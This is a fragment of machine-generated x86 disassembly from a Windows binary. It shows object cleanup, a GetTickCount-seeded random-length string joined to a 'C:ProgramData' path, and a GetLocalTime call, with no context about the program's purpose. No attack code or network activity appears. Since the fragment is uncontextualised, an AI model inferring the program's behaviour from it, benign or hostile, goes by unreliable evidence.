mov byte [ebp - 4], 0x4f
lea eax, [ebp - 0x2f4]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x51
mov eax, dword [ebp - 0x2e8]
test eax, eax
je 0x40d4a0
push eax
mov eax, dword [ebp - 0x2f4]
lea ecx, [ebp - 0x2f4]
call dword [eax + 0xc]
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2e4], 0
mov byte [ebp - 4], 0x4f
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x23
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x8c]
call fcn.0040a290
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x598]
call fcn.0040a290
jmp 0x40de11
lea ecx, [ebp - 0x1e4]
call fcn.0040a610
mov byte [ebp - 4], 0x52
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
push eax
mov dword [0x5eebfc], 1
call fcn.005650d9
add esp, 4
cmp dword [0x5eebfc], 0
jne 0x40d545
mov dword [0x5eebfc], 1
call esi
push eax
call fcn.005650d9
add esp, 4
call fcn.005650b8
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x40d556
dec eax
or eax, 0xfffffff8
inc eax
lea edx, [eax + 0xc]
lea ecx, [ebp - 0x464]
call fcn.0040b700
mov edx, eax
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x280]
call fcn.0040a610
mov byte [ebp - 4], 0x54
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x274], str.C:ProgramDatacande
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x438]
push edx
lea edx, [ebp - 0x280]
call fcn.00415ba0
mov byte [ebp - 4], 0x56
mov edx, eax
push 0x5c2fdc
lea ecx, [ebp - 0x40c]
call fcn.00415d10
add esp, 8
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x1e4]
push eax
call fcn.0040a220
mov byte [ebp - 4], 0x58
lea eax, [ebp - 0x3fc]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x5a
mov eax, dword [ebp - 0x3f0]
test eax, eax
je 0x40d601
push eax
mov eax, dword [ebp - 0x3fc]
lea ecx, [ebp - 0x3fc]
call dword [eax + 0xc]
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x3e8], 0
mov dword [ebp - 0x3ec], 0
mov byte [ebp - 4], 0x58
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x56
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x428]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x5d
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x40d670
push eax
mov eax, dword [ebp - 0x428]
lea ecx, [ebp - 0x428]
call dword [eax + 0xc]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x418], 0
mov byte [ebp - 4], 0x5b
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x55
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x5f
lea eax, [ebp - 0x270]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x61
mov eax, dword [ebp - 0x264]
test eax, eax
je 0x40d6df
push eax
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x270]
call dword [eax + 0xc]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x260], 0
mov byte [ebp - 4], 0x5f
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x53
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x62
lea eax, [ebp - 0x454]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x64
mov eax, dword [ebp - 0x448]
test eax, eax
je 0x40d74e
push eax
mov eax, dword [ebp - 0x454]
lea ecx, [ebp - 0x454]
call dword [eax + 0xc]
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x444], 0
mov byte [ebp - 4], 0x62
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x52
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
test eax, eax
jne 0x40d7a5
cmp dword [ebp - 0x1c0], 0
mov eax, 0x5bfe9c
cmovne eax, dword [ebp - 0x1c8]
mov ecx, eax
call fcn.00413060
lea ecx, [ebp - 0x388]
call fcn.0040a610
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 0x65
cmp dword [0x5eebfc], 0
jne 0x40d7dc
mov dword [0x5eebfc], 1
call esi
push eax
call fcn.005650d9
add esp, 4
call fcn.005650b8
and eax, reloc.OLEAUT32.dll_VariantInit
jns 0x40d7ed
dec eax
or eax, 0xfffffff8
inc eax
lea edx, [eax + 5]
lea ecx, [ebp - 0x35c]
call fcn.0040b700
mov byte [ebp - 4], 0x66
lea edx, [ebp - 0x1e4]
push eax
lea ecx, [ebp - 0x56c]
call fcn.00415ba0
add esp, 4
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x254]
push eax
call fcn.004136b0
mov esi, eax
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x2c]
mov edx, esi
push ecx
lea ecx, [ebp - 0x238]
call fcn.0040deb0
mov ebx, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x540]
call fcn.00409e00
mov edi, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x330]
call fcn.0040a610
lea edx, [ebp - 0x330]
mov dword [ebp - 0x38], 0x40
xor ecx, ecx
mov esi, eax
call fcn.00412d30
push edi
mov edx, esi
lea ecx, [ebp - 0x514]
call fcn.00415ba0
mov byte [ebp - 4], 0x6c
mov edx, eax
push 0x5c2f5c
lea ecx, [ebp - 0x4e8]
call fcn.00415d10
add esp, 8
mov esi, eax
mov byte [ebp - 4], 0x6d
mov ecx, ebx
push dword [ebp - 0x34]
call fcn.00414430
push eax
mov edx, esi
lea ecx, [ebp - 0x4bc]
call fcn.00415ba0
mov byte [ebp - 4], 0x6e
mov edx, eax
push str.__365
lea ecx, [ebp - 0x490]
call fcn.00415d10
add esp, 8
mov byte [ebp - 4], 0x6f
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x40d8f4
cmp dword [eax + 0x24], ecx
mov ecx, 0x5bfe9c
je 0x40d8f4
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.004132a0
add esp, 4
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x480]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x72
mov eax, dword [ebp - 0x474]
test eax, eax
je 0x40d932
push eax
mov eax, dword [ebp - 0x480]
lea ecx, [ebp - 0x480]
call dword [eax + 0xc]
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x470], 0
mov byte [ebp - 4], 0x70
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6e
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x73
lea eax, [ebp - 0x4ac]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x75
mov eax, dword [ebp - 0x4a0]
test eax, eax
je 0x40d9a1
push eax
mov eax, dword [ebp - 0x4ac]
lea ecx, [ebp - 0x4ac]
call dword [eax + 0xc]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x49c], 0
mov byte [ebp - 4], 0x73
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6d
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x76
lea eax, [ebp - 0x4d8]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x78
mov eax, dword [ebp - 0x4cc]
test eax, eax
je 0x40da10
push eax
mov eax, dword [ebp - 0x4d8]
lea ecx, [ebp - 0x4d8]
call dword [eax + 0xc]
mov dword [ebp - 0x4cc], 0
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x4c8], 0
mov byte [ebp - 4], 0x76
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6c
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x79
lea eax, [ebp - 0x504]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x7b
mov eax, dword [ebp - 0x4f8]
test eax, eax
je 0x40da7f
push eax
mov eax, dword [ebp - 0x504]
lea ecx, [ebp - 0x504]
call dword [eax + 0xc]
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 0x4f0], 0
mov dword [ebp - 0x4f4], 0
mov byte [ebp - 4], 0x79
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6b
mov eax, 0x40
mov dword [ebp - 0x38], eax
and eax, 0xffffffbf
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x38], eax
mov byte [ebp - 4], 0x7c
lea eax, [ebp - 0x320]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x7e
mov eax, dword [ebp - 0x314]
test eax, eax
je 0x40dafc
push eax
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x320]
call dword [eax + 0xc]
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x310], 0
mov byte [ebp - 4], 0x7c
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x6a
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x530]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x81
mov eax, dword [ebp - 0x524]
test eax, eax
je 0x40db6b
push eax
mov eax, dword [ebp - 0x530]
lea ecx, [ebp - 0x530]
call dword [eax + 0xc]
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x520], 0
mov byte [ebp - 4], 0x7f
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x69
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x68
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x82
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x40dbd1
push eax
mov eax, dword [ebp - 0x238]
lea ecx, [ebp - 0x238]
call dword [eax + 0xc]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x228], 0
mov byte [ebp - 4], 0x68
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x67
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x83
mov eax, dword [ebp - 0x248]
test eax, eax
je 0x40dc29
push eax
mov eax, dword [ebp - 0x254]
lea ecx, [ebp - 0x254]
call dword [eax + 0xc]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x244], 0
mov byte [ebp - 4], 0x67
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x84
lea eax, [ebp - 0x55c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x86
mov eax, dword [ebp - 0x550]
test eax, eax
je 0x40dc8a
push eax
mov eax, dword [ebp - 0x55c]
lea ecx, [ebp - 0x55c]
call dword [eax + 0xc]
mov dword [ebp - 0x550], 0
mov dword [ebp - 0x548], 0
mov dword [ebp - 0x54c], 0
mov byte [ebp - 4], 0x84
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x66
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x87
lea eax, [ebp - 0x34c]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x89
mov eax, dword [ebp - 0x340]
test eax, eax
je 0x40dcf9
push eax
mov eax, dword [ebp - 0x34c]
lea ecx, [ebp - 0x34c]
call dword [eax + 0xc]
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 0x87
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x65
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x8a
lea eax, [ebp - 0x378]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x8c
mov eax, dword [ebp - 0x36c]
test eax, eax
je 0x40dd68
push eax
mov eax, dword [ebp - 0x378]
lea ecx, [ebp - 0x378]
call dword [eax + 0xc]
mov dword [ebp - 0x36c], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x368], 0
mov byte [ebp - 4], 0x8a
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x52
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x8d
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x8f
mov eax, dword [ebp - 0x1c8]
test eax, eax
je 0x40ddd7
push eax
mov eax, dword [ebp - 0x1d4]
lea ecx, [ebp - 0x1d4]
call dword [eax + 0xc]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x8d
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov dword [ebp - 4], 0x90
lea eax, [ebp - 0x124]
mov dword [ebp - 0x34], eax
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x92
mov eax, dword [ebp - 0x118]
test eax, eax
je 0x40de49
push eax
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x124]
call dword [eax + 0xc]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
mov byte [ebp - 4], 0x90
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov dword [ebp - method.CVolBaseInputStream.virtual_0], vtable.CVolObject.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055e352
mov esp, ebp
pop ebp
ret